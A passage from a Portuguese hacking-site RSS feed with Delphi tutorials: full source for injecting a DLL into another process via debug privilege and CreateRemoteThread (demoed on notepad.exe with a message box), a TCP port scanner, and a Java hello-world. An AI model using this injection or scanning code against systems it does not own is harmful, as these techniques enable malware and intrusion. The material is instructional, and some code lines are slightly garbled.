<div>Comentário indicando a data da ação, o nome da pessoa que realizou a ação e a descrição da ação realizada, ou seja, No dia</div>
<div>11/01/2011 o Sr.Almir Rivas criou este programa Java.</div>
<div id="_mcePaste">*/</div>
<div>“Avisa” ao Java que o comentário de vária linha esta encerrado.</div>
<div>public class BemVindo{</div>
<div>Determina o início da definição da classe BemVindo.</div>
<div>public static void main (String args[]) {</div>
<div>Determina o início da definição do método main.</div>
<div>System.out.println(“Bem-vindo a programação Java!”);</div>
<div>Imprime à mensagem “Bem-vindo a programação Java!”</div>
<div>} // método main</div>
<div id="_mcePaste">Encerra a definição do método main com o caractere “}” e faz um comentário de uma única linha “// método main”.</div>
<div>} // class BemVindo</div>
<div id="_mcePaste">Encerra a definição da classe BemVindo com o caractere “}” e faz um comentário de uma única linha “// class BemVindo”.</div>
<div></div>
<div><strong>Compilando e executando o nosso programa</strong></div>
<div>No prompt de comando digite javac e o nome do arquivo para compilar o nosso programa.</div>
<div id="_mcePaste">javac BemVindo.java</div>
<div>Para executar o programa vá ao prompt de comando e digite java e nome da classe, sem a extensão.</div>
<div id="_mcePaste">java BemVindo</div>
<div>Pronto! Escrevemos o nosso primeiro programa em Java.</div>
<div></div>
<div><strong>Exercitando</strong></div>
<div>Você pode e deve treinar mais um pouco.</div>
<div>Tente fazer o seguinte:</div>
<div id="_mcePaste">» Escreva um programa Java que possa imprimir mais de uma linha de texto com a instrução System.out.printl.</div>
<div id="_mcePaste">» Escreva um programa que exiba a frase. “Estou aprendendo java.”. Utilizando três instruções System.out.print.</div>
<p>Fonte: <a href="http://www.juliobattisti.com.br/tutoriais/almirrivas/javabasico001.asp" target="_blank">juliobattisti.com.br</a></p>
<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2011/01/11/criando-seu-primeiro-programa-em-java/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div>]]></content:encoded>
			<wfw:commentRss>http://www.invasao.com.br/2011/01/11/criando-seu-primeiro-programa-em-java/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fazendo o seu Code Injection</title>
		<link>http://www.invasao.com.br/2009/04/28/fazendo-o-seu-code-injection/</link>
		<comments>http://www.invasao.com.br/2009/04/28/fazendo-o-seu-code-injection/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 17:27:08 +0000</pubDate>
		<dc:creator>Fuctura Tecnologia</dc:creator>
				<category><![CDATA[Programação]]></category>
		<category><![CDATA[dll]]></category>

		<guid isPermaLink="false">http://www.invasao.com.br/?p=1389</guid>
		<description><![CDATA[Visto que é algo muito útil e um pouco complicado estarei postando como fazer passo a passo. Então vamos começar. Dica: Para quem não esta acostumado e sequer sabe sobre manipulação de memória recomendo que de uma boa lida em artigos sobre manipulação de memória para que haja uma facilidade de entendimento ao seguir a leitura do tutorial. O que é Code Injection? Code injection nada mais é do que injetar uma DLL e fazer com que o processo remoto [...]]]></description>
			<content:encoded><![CDATA[<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2009/04/28/fazendo-o-seu-code-injection/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div><p>Visto que é algo muito útil e um pouco complicado estarei postando como fazer passo a passo.<br />
Então vamos começar.</p>
<p><strong>Dica:</strong><br />
Para quem não esta acostumado e sequer sabe sobre manipulação de memória recomendo que de uma boa lida em artigos sobre manipulação de memória para que haja uma facilidade de entendimento ao seguir a leitura do tutorial.</p>
<p><strong>O que é Code Injection?</strong><br />
Code injection nada mais é do que injetar uma DLL e fazer com que o processo remoto execute a tal função.<br />
Para fazer isso precisaremos de uma DLL que a função em seja exportada<br />
Ex:no delphi o fim do código seria</p>
<h5><code>exports<br />
FazerExitProcess;</code></h5>
<p>Outro detalhe  <a style="border-bottom: 1px dotted; color: #f3840e; text-decoration: underline;" onclick="hwClick19163419961464(165384036);return false;" onmouseover="hw19163419961464(event, this, '165384036'); this.style.cursor='hand'; this.style.textDecoration='underline'; this.style.borderBottom='solid';" onmouseout="hideMaybe(event, this); this.style.cursor='hand'; this.style.textDecoration='underline'; this.style.borderBottom='dotted 1px'; " href="http://www.forum-invasao.com.br/novo/viewtopic.php?f=248&amp;t=8555672#">importante</a> é que precisaremos de privilégios necessários.Para evitar quaisquer eventuais problemas, definiremos o privilégio como o de debug e tambem depois de executada a rotina, não temos mais porque deixar os parâmetros utilizados na execução da mesma no target, isso só iria ocupar espaço, então nós liberaremos toda a memória escrita no processo remoto.</p>
<p><span style="font-weight: bold;">Preparando um Code Injection</span><br />
<span style="font-weight: bold;"> </span><br />
Antes de mais nada precisaremos de uma estrutura para os parâmetros do nosso Code Injection então declare<br />
a seguinte type no seu form.</p>
<h5><code>type<br />
TInjectParams = record<br />
LoadLibrary: function (lpLibFileName: PAnsiChar): Cardinal; stdcall;<br />
LibName: PAnsiChar;<br />
GetProcAddress: function (hModule: Cardinal; lpProcName: PAnsiChar): Pointer; stdcall;<br />
ProcName: PAnsiChar;<br />
end;<br />
PInjectParams = ^TInjectParams;</code></h5>
<p>Com essa estrutura,o  <a style="border-bottom: 1px dotted; color: #f3840e; text-decoration: underline;" onclick="hwClick7967073732464(165384036);return false;" onmouseover="hw7967073732464(event, this, '165384036'); this.style.cursor='hand'; this.style.textDecoration='underline'; this.style.borderBottom='solid';" onmouseout="hideMaybe(event, this); this.style.cursor='hand'; this.style.textDecoration='underline'; this.style.borderBottom='dotted 1px'; " href="http://www.forum-invasao.com.br/novo/viewtopic.php?f=248&amp;t=8555672#">usuário</a> no final do code injection só precisará de pegar o Process ID(PID) do processo,Portanto declare na <span style="font-weight: bold;">uses</span> da sua unit a biblioteca <span style="text-decoration: underline;">TlHelp32</span> e nas funções declare a seguinte função.</p>
<h5><code>function GetProcess(proc: string): Cardinal;<br />
var<br />
Snap: THandle;<br />
pe: TProcessEntry32;<br />
begin<br />
Snap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);<br />
if Snap = 0 then Exit;<br />
if Process32First(Snap,pe) then<br />
begin<br />
repeat<br />
if proc = pe.szExeFile then<br />
begin<br />
Result:=pe.th32ProcessID;<br />
break;<br />
end;<br />
until not Process32Next(Snap,pe)<br />
end<br />
end;</code></h5>
<p>Como ja foi dito,nós precisaremos escrever na memória do processo remoto,portanto é necessário alocar a memória para a escrita,para facilitar vamos declarar as funções.</p>
<h5><code>function WriteString(Process: Cardinal; s: string): Pointer;<br />
var<br />
bytes: Cardinal;<br />
begin<br />
Result:=VirtualAllocEx(Process, nil, length(s) + 1, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br />
WriteProcessMemory(Process, Result , pchar(s), length(s) + 1, bytes);<br />
end;</code></h5>
<h5><strong>function WriteData(Process, dwSize: Cardinal; RemoteData: pointer): pointer;<br />
var<br />
bytes: Cardinal;<br />
begin<br />
Result:=VirtualAllocEx(Process, nil, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br />
WriteProcessMemory(Process, Result, RemoteData, dwSize, bytes);<br />
end;</strong></h5>
<p><strong><br />
</strong></p>
<p>Com quase tudo pronto nós precisaremos de uma função para executar o código no processo remoto então declare mais essa função também.</p>
<h5><code>procedure RemoteFunction(Parametros: PInjectParams); stdcall;<br />
var<br />
proc: procedure; stdcall;<br />
begin<br />
proc:=Parametros^.GetProcAddress(Parametros^.LoadLibrary(Parametros^.LibName),Parametros^.ProcName);<br />
proc;<br />
end;</code></h5>
<p>Agora precisaremos de um método para saber o tamanho dessa rotina descrita acima, pois na hora de escrevê-la no target é necessário por o tamanho. Para isso faremos outro método logo abaixo desse, e depois é só pegar o endereço dele e subtrair do endereço da rotina &#8220;RemoteFunction&#8221;.<br />
Então declare o procedimento :</p>
<h5><code>procedure RemoteFunctionEnd; stdcall;<br />
begin;<br />
end;</code></h5>
<p>E como ja foi dito nos precisaremos de privilégios de DEBUG então declare a função.</p>
<h5><code>procedure ChangePrivilege(szPrivilege: PChar; fEnable: Boolean);<br />
var<br />
NewState: TTokenPrivileges;<br />
luid: TLargeInteger;<br />
hToken: THandle;<br />
ReturnLength: DWord;<br />
begin<br />
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken);<br />
LookupPrivilegeValue(nil, szPrivilege, luid);</code></p>
<p>NewState.PrivilegeCount := 1;<br />
NewState.Privileges[0].Luid := luid;<br />
if (fEnable) then<br />
NewState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED<br />
else<br />
NewState.Privileges[0].Attributes := 0;</p>
<p>AdjustTokenPrivileges(hToken, False, NewState, SizeOf(NewState), nil, ReturnLength);<br />
CloseHandle(hToken);<br />
end;</h5>
<p>Pronto, agora só falta montar a função final, mas depois de tudo isso, para quem realmente entendeu a lógica fica fácil.</p>
<h5><code>pprocedure Inject(process, dll, code: string);<br />
var<br />
PID, hProcess, ThreadId, ThreadHandle: Cardinal;<br />
RemoteData,RemoteFunc,LibFileName,ProcName: pointer;<br />
Parametros: TInjectParams;<br />
begin<br />
//Pega o Handle do processo<br />
PID:=GetProcess(Process);</code></h5>
<h5>//Seta o privilégio de debug<br />
ChangePrivilege(&#8216;SeDebugPrivilege&#8217;, True);</p>
<p>//Abre o processo<br />
hProcess := OpenProcess(PROCESS_ALL_ACCESS, False, PID);</p>
<p>//Define os parâmetros que serão usados para executar a procedure<br />
LibFileName:=WriteString(hProcess, dll);<br />
ProcName:=WriteString(hProcess, code);<br />
Parametros.LoadLibrary:=GetProcAddress(GetModuleHandle(&#8216;kernel32&#8242;), &#8216;LoadLibraryA&#8217;);<br />
Parametros.LibName:=LibFileName;<br />
Parametros.GetProcAddress:=GetProcAddress(GetModuleHandle(&#8216;kernel32&#8242;), &#8216;GetProcAddress&#8217;);<br />
Parametros.ProcName:=ProcName;</p>
<p>//Abre um novo espaço de memória para guardar os parâmetros<br />
RemoteData:=WriteData(hProcess, sizeof(Parametros), @Parametros);</p>
<p>//Abre um novo espaço de memória para guardar a procedure<br />
RemoteFunc:=WriteData(hProcess, integer(@RemoteFunctionEnd) &#8211; integer(@RemoteFunction), @RemoteFunction);</p>
<p>//Cria a thread que executará a procedure<br />
ThreadHandle:=CreateRemoteThread(hProcess, nil, 0, RemoteFunc, RemoteData, 0, ThreadId);<br />
WaitForSingleObject(ThreadHandle, 3000);</p>
<p>//Libera as alocações de memórias criadas<br />
VirtualFreeEx(hProcess,LibFileName,0,MEM_RELEASE);<br />
VirtualFreeEx(hProcess,ProcName,0,MEM_RELEASE);<br />
VirtualFreeEx(hProcess,RemoteFunc,0,MEM_RELEASE);<br />
VirtualFreeEx(hProcess,RemoteData,0,MEM_RELEASE);<br />
end;</h5>
<p>Agora chegou a parte que você ira realizar o code injection.<br />
Como ja foi dito precisaremos de uma DLL com uma função que seja exportada então salve todo o seu projeto e crie um novo projeto de DLL.vou mostrar como ficou a minha dll de testes</p>
<h5><code>library testdll;</code></p>
<p>uses<br />
Windows,<br />
SysUtils,<br />
Classes;</p>
<p>{$R *.res}</p>
<p>procedure MsgBox;<br />
begin<br />
MessageBox(0,&#8217;Funcionou&#8217;,'Code Injection bem sucedido&#8217;,MB_OK+MB_ICONINFORMATION);<br />
end;<br />
exports<br />
MsgBox;<br />
begin<br />
end.</h5>
<p>Então agora é só no seu projeto do Injector você usar a função.</p>
<h5><code>Inject('notepad.exe','C:\Dev\CodeInjection\testdll\testdll.dll','MsgBox');</code></h5>
<p>Agora pra quem não entendeu direito,ou não quer nem ler e quer tudo pronto eu coloquei um link com a source do injector e da testdll<br />
<!-- m --><a class="postlink" href="http://www.4shared.com/file/101714263/63913ea/CodeInjection.html"></a><a title="Download d!" href="http://www.4shared.com/file/101714263/63913ea/CodeInjection.html">http://www.4shared.com/file/101714263/63913ea/CodeInjection.html</a></p>
<p><em>Créditos: R0DR1G0</em>.</p>
<p><a href="http://www.forum-invasao.com.br/novo/viewtopic.php?f=248&amp;t=8555672"></a></p>
<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2009/04/28/fazendo-o-seu-code-injection/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div>]]></content:encoded>
			<wfw:commentRss>http://www.invasao.com.br/2009/04/28/fazendo-o-seu-code-injection/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Port Scanner Super Simples!</title>
		<link>http://www.invasao.com.br/2009/01/29/tutorial-port-scaner-super-simples/</link>
		<comments>http://www.invasao.com.br/2009/01/29/tutorial-port-scaner-super-simples/#comments</comments>
		<pubDate>Thu, 29 Jan 2009 03:31:04 +0000</pubDate>
		<dc:creator>Fuctura Tecnologia</dc:creator>
				<category><![CDATA[Programação]]></category>
		<category><![CDATA[port scanner]]></category>

		<guid isPermaLink="false">http://www.invasao.com.br/?p=1098</guid>
		<description><![CDATA[Port Scanner Port Scanner é um programa capaz de varrer um sistema, remoto ou local, a procura de portas abertas. Estas portas por sua vez, quando abertas, podem estar disponibilizando alguns serviços para utilização remota e é fundamental para qualquer administrador de rede (segurança) ou &#8220;usuário malicioso&#8221; (cracker) saber quais portas estão sendo utilizadas pelo sistema, tanto para a proteção, pelo lado do administrador, quanto pela invasão, pelo lado do cracker. Saber quais portas estão abertas no sistema e quais [...]]]></description>
			<content:encoded><![CDATA[<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2009/01/29/tutorial-port-scaner-super-simples/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div><p><span style="color: #40bf00;"><span style="font-size: 150%; line-height: 116%;"><span style="color: #99ccff;">Port Scanner</span><br />
</span></span><br />
Port Scanner é um programa capaz de varrer um sistema, remoto ou local, a procura de portas abertas. Estas portas por sua vez, quando abertas, podem estar disponibilizando alguns serviços para utilização remota e é fundamental para qualquer administrador de rede (segurança) ou &#8220;usuário malicioso&#8221; (cracker) saber quais portas estão sendo utilizadas pelo sistema, tanto para a proteção, pelo lado do administrador, quanto pela invasão, pelo lado do cracker.</p>
<p>Saber quais portas estão abertas no sistema e quais serviços estão ativos nestas portas é muito importante, pois é o passo principal para qualquer invasão de sistema. É sabendo qual serviço está ativo em uma porta que se pode começar a verificar se este serviço em questão é vulnerável a alguma técnica de exploração conhecida, como explorá-la, como ganhar acesso ao sistema, etc.</p>
<p><span style="color: #99ccff;"><span style="font-size: 150%; line-height: 116%;">Como funciona?</span></span></p>
<p>Teoricamente o funcionamento de um Port Scanner é bem simples. Basicamente ele tenta se conectar com o servidor desejado em uma porta desejada. Se a conexão for estabelecida, o programa imprime uma mensagem para o usuário confirmando o estado da porta testada como &#8220;Aberta&#8221;. Caso a conexão não se estabeleça, a mensagem de &#8220;Porta Fechada&#8221; é enviada. Bem simples não? Pois é, porém, com a incrível capacidade intelectual dos Hackers, algumas outras formas de Port Scanner foram desenvolvidas a partir da dificuldade de detecção do scanner pelo lado dos Administradores de Redes. O método que desenvolveremos no nosso programa é o TCP Full Connect, ou seja, uma conexão TCP completa com o servidor em questão. Este método é o mais primitivo e também o mais fácil de ser detectado pelo administrador, porém como o nosso artigo não tem o intuito de formar Cracker de sistemas, este método é mais que o necessário para você se inteirar sobre como construir um Port Scanner no Delphi. Outras formas de Port Scanner são:</p>
<p><span style="color: #ff0000;"> * TCP SYN ( Half Open ):</span> Este já é um método mais complexo de Port Scanner, pois não abre uma conexão TCP completa com a máquina alvo e se torna assim mais difícil de se identificar um scanning deste tipo. O que programas deste tipo fazem é enviar uma pacote SYN para a máquina alvo. Caso seja recebido um pacote SYN-ACK, significa que a porta está aberta. Porém, caso seja recebido um pacote RST, indica que a porta está fechada. Após este processo, o programa exibe para o usuário o estado da porta e prossegue em sua verificação.<br />
<span style="color: #ff0000;"> * TCP FIN:</span> Este é o método mais apreciado pelos atacantes, pois é chamado de modo STEALTH, ou invisível, não sendo detectado pelos sistemas de defesa. Consiste em enviar um pacote FIN para a porta alvo. Caso o pacote recebido seja um RST, indica que a porta está fechada, mas caso o pacote FIN seja ignorado, significa que a porta está aberta.<br />
<span style="color: #ff0000;"> * UDP SCAN: </span>Neste método são enviados pacotes UDP de 0 bytes para cada porta alvo. Caso seja recebida a mensagem &#8220;ICMP port unreachable&#8221;, indica que a porta está fechada. Caso contrário, o programa imprime a mensagem alegando a porta como em estado de aberta.</p>
<p><span style="color: #99ccff;"><span style="font-size: 150%; line-height: 116%;">TCP Full Connect no Delphi</span></span></p>
<p>Criar um Port Scanner TCP Full Connect do Delphi é relativamente simples. O Delphi já vem com alguns componentes para a criação e utilização de sockets. Ele provê uma enorme gama de componentes para criação de Clientes FTP, Telnet, Finger, Web, POP, SMTP, servidores HTTP, etc.</p>
<p>Para a criação deste tipo de Port Scanner, o TCP Full, utilizaremos o componente chamado TTCPClient, que fica localizado na paleta Internet. É com este componente que será possível se conectar com um endereço especificado nas portas pré-definidas para a verificação de seus estados (aberta ou fechada).</p>
<p>No componente TTCPClient temos as seguintes propriedades que são as fundamentais para o entendimento do funcionamento do nosso port scanner. As propriedades de nosso interesse são:</p>
<p>* RemoteHost = Esta propriedade define o endereço do servidor que se deseja conectar.<br />
* RemotePort = A porta que se deseja conectar. Esta porta poderá ser alterada diversas vezes durante a execução do Port Scanner, pois é justamente esta capacidade que torna o programa funcional.<br />
* Connect = Conecta o TTCPClient com o servidor definido na propriedade RemoteHost com a porta definida em RemotePort.<br />
* Disconnect = Desconecta o TTCPClient do servidor.</p>
<p>Com estas propriedades já podemos iniciar a construção do nosso programa.</p>
<p><span style="color: #99ccff;"><span style="font-size: 150%; line-height: 116%;">Criando a Interface do Port Scanner</span></span></p>
<p>Inicie o Delphi e crie um novo projeto chamado psc.dpr (a unit você poderá salvar como unit_psc.pas). No formulário inicial que abrir, mude as seguintes propriedades do Form1 no ObjectInspector como seguem abaixo:</p>
<p>* Caption = Port Scaner v1.0b<br />
* BorderStyle = bsToolWindow<br />
* WindowState = Normal</p>
<p>Após estas modificações o antigo Form1 ficará desta forma:</p>
<p><img class="alignnone" src="http://www.numaboa.com/images/stories/info_lab/ps01.jpg" alt="" width="436" height="302" /></p>
<p>Post Scanner<br />
Fig.1 &#8211; form1 do Port Scanner</p>
<p>Agora, neste nosso formulário, adicionaremos os seguintes componentes que serão os responsáveis pela interação do Port Scanner com o usuário.<br />
<span style="color: #000000;">Quantidade	Tipo<br />
<strong>5	TLabel<br />
1	TEdit<br />
2	TSpinEdit<br />
1	TMemo<br />
1	TTCPClient<br />
2	TButton</strong></span></p>
<p>Após a adição destes componentes, altere as propriedades dos mesmos para as que seguem abaixo:</p>
<p><strong><span style="color: #000000;">Componente	Propriedade	Conteúdo<br />
Tlabel1	Caption	Servidor<br />
Tlabel2	Caption	Porta Inicial<br />
Tlabel3	Caption	Porta Final<br />
Tlabel4	Caption	Verificando a porta:<br />
Tlabel5	Caption	0<br />
TspinEdit1	Name	Inicio<br />
TspinEdit2	Name	Fim<br />
Tmemo1	Name	Listagem<br />
Tbutton1	Caption	Iniciar<br />
Tbutton2	Caption	Parar<br />
Tedit1	Text	endereco</span></strong></p>
<p>Com estas modificações, arrume os componentes no formulário para que fiquem mais ou menos com esta Interface:</p>
<p><img class="alignnone" src="http://www.numaboa.com/images/stories/info_lab/ps02.jpg" alt="" width="403" height="303" /></p>
<p>Port Scanner 2<br />
Fig.2 &#8211; Nova form1 do Port Scanner</p>
<p>Neste ponto, falta muito pouco para o nosso Port Scanner ficar pronto. Temos agora que programar o funcionamento do nosso programa para que ele seja funcional e corresponda às nossas expectativas.</p>
<p><span style="color: #99ccff;"><span style="font-size: 150%; line-height: 116%;">Programando os componentes</span></span></p>
<p>Nesta parte da nossa criação iremos adicionar programação aos componentes utilizados no programa para que este realmente funcione. Iremos começar da seguinte maneira:</p>
<p>* vamos cria uma variável global que será a responsável por parar a execução da verificação no servidor remoto quando o usuário clicar no botão Parar.<br />
* No código fonte do programa vamos adicionar, na sessão correspondente as variáveis globais, a nossa variável Stop.</p>
<p><code>...<br />
Var<br />
Form1: TForm1;<br />
Stop: integer;  // a nossa variável entra aqui!</code></p>
<p>Implementation<br />
&#8230;</p>
<p>Agora iremos inserir a programação no nosso botão correspondente ao início da varredura de portas no servidor remoto, o nosso botão Iniciar. Dê um duplo clique neste botão para inserirmos o código responsável pelo seu funcionamento.</p>
<p>O código responsável é o que segue abaixo:</p>
<p><code>Var i : integer;<br />
Begin<br />
Try</code></p>
<p>Listagem.clear;<br />
Stop:= 0 ;<br />
TCPClient1.remotehost:=edit1.text;<br />
For I:= inicio.value to fim.value do<br />
Begin<br />
If Stop = 1 then break;</p>
<p>Label5.caption:=inttostr(i);<br />
Application.ProcessMessages;<br />
TCPCLiente1.remoteport:= inttostr(i);<br />
TCPClient.Active:=true;</p>
<p>If TCPClient1.connect then<br />
Listagem.lines.add(&#8216;A Porta ['+ inttostr(i)+ '] está aberta.&#8217;);<br />
TCPClient1.disconnect;<br />
End;</p>
<p>Except<br />
On E:Exception do Begin<br />
Listagem.lines.add(&#8216;Erro: &#8216; + E.Message);<br />
End;<br />
End;</p>
<p>Listagem.lines.add(&#8216;Verificação Terminada.&#8217;);</p>
<p>End;</p>
<p>Feita a adição do código responsável pelo funcionamento do nosso botão Iniciar, resta-nos agora adicionar o código relativo ao botão Parar, para que depois possamos analisar as linhas de código do nosso programa Port Scanner.</p>
<p>Para adicionar a programação ao nosso botão Parar, dê um duplo clique no mesmo e adicione o código abaixo:</p>
<dl>
<dd><code>Stop:=1;</code></dd>
</dl>
<p>Pronto! A codificação do nosso programa está terminada e ele já está pronto para ser executado. Mas, antes disto, vamos analisar a programação.</p>
<p><span style="color: #99ccff;"><span style="font-size: 150%; line-height: 116%;">Entendendo o Código</span></span></p>
<p>Como podemos ver, foi bem simples a construção da interface do programa assim como a adição de seu código-fonte. Vamos agora entender as linhas de código adicionadas e as suas respectivas funções.</p>
<p>Na parte de programação referente ao nosso botão Iniciar temos inicialmente a linha:</p>
<dl>
<dd><code>Var i: Integer;</code></dd>
</dl>
<p>Esta linha corresponde à criação da variável i, que será a responsável por auxiliar no loop For para a contagem das portas a serem verificadas.</p>
<p>A seguir, na linha:</p>
<dl>
<dd><code>Listagem.clear;</code></dd>
</dl>
<p>limpamos o nosso Tmemo1.</p>
<p>Na linha:</p>
<dl>
<dd><code>Stop:=0;</code></dd>
</dl>
<p>Iniciamos o valor desta variável para 0, pois desta forma o programa continuará a varredura através das portas selecionadas pelo usuário até que o loop For acabe ou que o usuário pressione o nosso botão Parar.</p>
<p>Em</p>
<dl>
<dd><code>TCPClient1.Remotehost:=Edit1.text;</code></dd>
</dl>
<p>repassamos para a propriedade RemoteHost do nosso TTCPClient o conteúdo do componente Edit1.text, que será o servidor repassado pelo usuário.</p>
<p>Temos então o início do loop For baseado nas portas Inicial e Final escolhidas pelo usuário nos componentes TspinEdit.</p>
<dl>
<dd><code>For i:= inicio.value to fim.value do</code></dd>
</dl>
<p>A seguir, verifica-se se o botão Parar foi acionado, solicitando o cancelamento da verificação ( loop ).</p>
<dl>
<dd><code>If Stop=1 then break;</code></dd>
</dl>
<p>Agora, exibimos na Interface a porta que está sendo verificada no momento</p>
<dl>
<dd><code>Label5.caption:=inttostr(i);</code></dd>
</dl>
<p>Pedimos ao sistema operacional que processe as informações do programa, evitando assim que o mesmo não tenha o efeito de congelamento evidente.</p>
<dl>
<dd><code>Application.ProcessMessages;</code></dd>
</dl>
<p>Agora, nas linhas a seguir, definimos para a propriedade RemotePort o nosso TCPClient1 qual porta devera ser verificada no momento, depois ativamos o nosso TCPClient1 e, em seguida, verificamos se foi obtido sucesso.Caso o sucesso seja obtido, adicionamos no nosso Memo1 uma linha contendo a porta que foi encontrada com o estado de aberta. Depois, independente do estado da porta, pedimos sua desconexão.</p>
<p><code>TCPCLient1.remoteport:= inttostr(i);<br />
TCPClient.Active:=true;</code></p>
<p>If TCPClient1.connect then<br />
Listagem.lines.add(&#8216;A Porta ['+ inttostr(i)+ '] está aberta.&#8217;);<br />
TCPClient1.disconnect;<br />
End;</p>
<p>Em seguida, terminamos o loop e tratamos todas as exceções que possam ocorrer entre os blocos protegidos try.</p>
<p><code>Except<br />
On E:Exception do Begin<br />
Listagem.lines.add('Erro: ' + E.Message);<br />
End;<br />
End;</code></p>
<p>Por fim, escrevemos no nosso Memo1 a mensagem de que a verificação foi terminada e finalizamos a execução do programa.</p>
<p><code> Listagem.lines.add('Verificação Terminada.');</code></p>
<p>End;</p>
<p>Para concluir, no nosso botão Parar temos a linha de código:</p>
<dl>
<dd><code>Stop:=1;</code></dd>
</dl>
<p>Esta linha é responsável por colocar o valor 1 na variável Stop, para que quando o usuário clique no botão Parar, o loop de verificação das portas pare graças ao trecho de código do botão Iniciar abaixo:</p>
<dl>
<dd><code>If Stop=1 then Break;</code></dd>
</dl>
<p><span style="color: #000000;"><strong><span style="font-size: 150%; line-height: 116%;">Concluindo</span></strong></span></p>
<p>Bem pessoal, agora é só salvar todo o projeto e executá-lo. Faça testes em algum servidor que você tenha acesso e/ou saiba que não irá prejudicar ninguém e muito menos incomodar. Vale relembrar que, se deu tudo certo com o seu Port Scanner, você tem uma ferramenta poderosíssima nas mãos e cabe a você usá-la de forma segura e principalmente com intuitos educacionais.</p>
<p><span style="color: #000000;"><strong><span style="font-size: 150%; line-height: 116%;">SOBRE O AUTOR</span></strong></span></p>
<p>T. J. Nogueira é escritor da Ciência  <a href="http://www.forum-invasao.com.br/novo/viewtopic.php?f=140&amp;t=8553923#">Moderna</a>, editora de livros de informática. Já tem dois livros publicados: Invasão de Redes: Ataques e Defesas, como os Hackers utilizam a linguagem de programação C para efetuar invasões via Internet, e Tudo Sobre buffer overflow. No momento está terminando seu terceiro livro, Como tornar o Windows XP seguro: passo a passo e ainda encontra tempo para trabalhar em mais três livros e de elaborar artigos aqui para a Aldeia</p>
<p>Meu amigo TJ, aldeense de carteirinha, é fanático por leitura. É dele a frase &#8220;o que eu mais quero é simplesmente que as pessoas leiam e leiam e leiam cada vez mais sobre qualquer tipo de coisa, desde de budismo até engenharia reversa&#8221;. Este é seu primeiro artigo publicado aqui na Aldeia, mas preparem-se&#8230; já tem coisa nova saindo do forno e é sobre Gerenciadores Remotos!</p>
<p>Da minha parte, quero dar as boas vindas ao nosso mais novo  <a href="http://www.forum-invasao.com.br/novo/viewtopic.php?f=140&amp;t=8553923#">colaborador</a> e tornar públicos os meus mais sinceros agradecimentos. Além disso, como de costume, um grande abraço da vovó para todos, especialmente para o TJ.</p>
<p>Abraço!</p>
<p><span style="color: #000000;"><strong>-bRx-</strong></span></p>
<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2009/01/29/tutorial-port-scaner-super-simples/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div>]]></content:encoded>
			<wfw:commentRss>http://www.invasao.com.br/2009/01/29/tutorial-port-scaner-super-simples/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Criando Chat no Delphi 7</title>
		<link>http://www.invasao.com.br/2009/01/29/tutorial-criando-chat-no-delphi-7/</link>
		<comments>http://www.invasao.com.br/2009/01/29/tutorial-criando-chat-no-delphi-7/#comments</comments>
		<pubDate>Thu, 29 Jan 2009 03:10:14 +0000</pubDate>
		<dc:creator>Fuctura Tecnologia</dc:creator>
				<category><![CDATA[Programação]]></category>
		<category><![CDATA[chat]]></category>
		<category><![CDATA[delphi 7]]></category>

		<guid isPermaLink="false">http://www.invasao.com.br/?p=1094</guid>
		<description><![CDATA[1ª Etapa Para começar o Chat vamos criar a sua interface, neste caso adicione no programa os seguintes componentes: Inserindo: TMemo =&#62; Coloque o nome como Quadro. Tmemo =&#62; Com nome de Status. TGroupBox =&#62; Coloque o nome como C_Comandos TEdit =&#62; Coloque dentro do TGroupBox (C_Comandos) com o nome de C_Texto TEdit =&#62; Com nome de Host. TEdit =&#62; Com nome de Apelido. TButton =&#62; Com nome de Conectar. TButton =&#62; Com nome de Servir. 2 Tlabel =&#62; Com [...]]]></description>
			<content:encoded><![CDATA[<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2009/01/29/tutorial-criando-chat-no-delphi-7/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div><p><strong><span style="color: #99ccff;">1ª Etapa</span></strong><br />
Para começar o Chat vamos criar a sua interface, neste caso adicione no programa os seguintes componentes:</p>
<p>Inserindo:<br />
TMemo =&gt; Coloque o nome como Quadro.<br />
Tmemo =&gt; Com nome de Status.</p>
<p>TGroupBox =&gt; Coloque o nome como C_Comandos<br />
